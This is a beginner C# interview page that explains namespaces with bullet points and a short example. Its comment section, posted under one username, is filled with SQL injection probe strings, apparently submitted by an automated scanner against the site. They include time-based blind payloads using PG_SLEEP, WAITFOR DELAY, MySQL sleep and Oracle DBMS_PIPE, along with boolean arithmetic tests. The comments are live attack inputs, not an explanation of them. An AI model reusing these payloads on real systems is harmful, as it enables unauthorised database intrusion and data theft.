What is a namespace in C# and what is it good for?

Experience Level: Junior
Tags: C#

Answer

  • A namespace is like a box that you can use for storing your classes.
  • It is used for organizing code.
  • A namespace can contain zero, one or more classes.
  • A namespace is created using namespace keyword.
  • A namespace name consists of one string or multiple strings delimited by dot character.
  • It is a best practice to start each word of the namespace name by a capital letter.
  • One namespace can be used in multiple .cs files.
  • There can be multiple namespaces in one .cs file.
Example
namespace Furniture.Tables {

}

namespace Furniture.Chairs {

}

Comments

No Comments Yet.
Be the first to tell us what you think.
C# for beginners
C# for beginners

Are you learning C# ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e